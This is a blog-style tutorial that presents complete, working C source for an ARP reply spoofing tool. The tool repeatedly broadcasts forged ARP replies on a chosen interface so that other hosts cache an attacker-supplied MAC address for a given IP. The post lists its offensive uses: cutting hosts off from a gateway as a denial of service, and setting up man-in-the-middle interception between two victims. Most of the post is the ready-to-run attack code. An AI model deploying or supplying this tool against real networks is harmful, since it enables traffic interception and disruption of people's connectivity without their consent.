ARP Reply Spoof - C code

ARP Reply Spoof- C code

'ARP SPOOFING - VBox+GNS3 test ' contains introduction to ARP, its working and ARP Spoofing. To understand this post it is recommended that you have a basic idea about these topics.

In the code given below we broadcast ARP reply in the interface specified. The interface, source ip address and source MAC address are given as parameter to the program. The destination MAC id is set to all 1s for broadcasting. The ARP reply is broadcasted regularly using sleep() so that the original ARP reply is not cached in the target systems ARP table.


Applications of ARP Spoofing

• Denial of Service: The hacker can broadcast ARP Reply whose source IP is that of a router/gateway and a false source MAC id. Now when a host tries to send a packet to the router/gateway, it is dropped and the hacker has cut off the network from the other side of the gateway (internet).
• Man-in-the-middle : Here the attacker sends ARP reply to the victim-1 stating that it is the victim-2. Also ARP reply is send to victim-2 stating that the attacker is the victim-1. The packet forwarding feature is enabled in the attacker so that all packets between the victim-1 and victim-2 passes through it.

ARP Packet

Ethernet Packet

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <signal.h>

#include <sys/socket.h>

#include <net/ethernet.h>

#include <net/if.h>

#include <netpacket/packet.h>

#include <netinet/if_ether.h>

int sock;

#define PACKET_LEN sizeof(struct ether_header) + sizeof(struct ether_arp)

void close_sock()

{

  close(sock);

  exit(0);

}

int main(int argc, char ** argv)

{

 char packet[PACKET_LEN];

 struct sockaddr_ll device;

 struct ether_header * eth = (struct ether_header *) packet;

 struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));

 

 if (argc < 4) 

 {

    puts("Usage: ./a.out <interface> <source ip address> <source mac address>");

  exit(1);

 }

 sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));

 if (sock < 0)

   perror("socket"), exit(1);

 signal(SIGINT, close_sock);

  //Source Hardware Address : ARP Packet

  sscanf(argv[3], "%x:%x:%x:%x:%x:%x",  (unsigned int *) &arp->arp_sha[0],

(unsigned int *) &arp->arp_sha[1],

(unsigned int *) &arp->arp_sha[2],

(unsigned int *) &arp->arp_sha[3],

(unsigned int *) &arp->arp_sha[4],

(unsigned int *) &arp->arp_sha[5]);

  //Source Protocol Address : ARP Packet

  sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],

                         (int *) &arp->arp_spa[1],

                         (int *) &arp->arp_spa[2],

                         (int *) &arp->arp_spa[3]);

 //Ethernet Packet

 memset(eth->ether_dhost, 0xff, ETH_ALEN); //destination address : broadcast address

 memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN); //source address

 eth->ether_type = htons(ETH_P_ARP); //type

 //ARP Packet

 arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); //Format of hardware address

 arp->ea_hdr.ar_pro = htons(ETH_P_IP); //Format of protocol address.

 arp->ea_hdr.ar_hln = ETH_ALEN; //Length of hardware address.

 arp->ea_hdr.ar_pln = 4; //Length of protocol address.

 arp->ea_hdr.ar_op = htons(ARPOP_REPLY); //ARP operation : REPLY

 memset(arp->arp_tha, 0xff, ETH_ALEN); //Target hardware address.

 memset(arp->arp_tpa, 0x00, 4); //Target protocol address.

 memset(&device, 0, sizeof(device));

 device.sll_ifindex = if_nametoindex(argv[1]); //Interface number

 device.sll_family = AF_PACKET;

 memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN); //Physical layer address

 device.sll_halen = htons(ETH_ALEN); //Length of address

 printf("Press Ctrl+C to stop \n");

 while (1) {

   printf("Broadcasting on %s: %s is at %s\n", argv[1], argv[2], argv[3]);

   sendto(sock, packet, PACKET_LEN, 0, (struct sockaddr *) &device, sizeof(device));

   sleep(2);

 }

 return 0;

}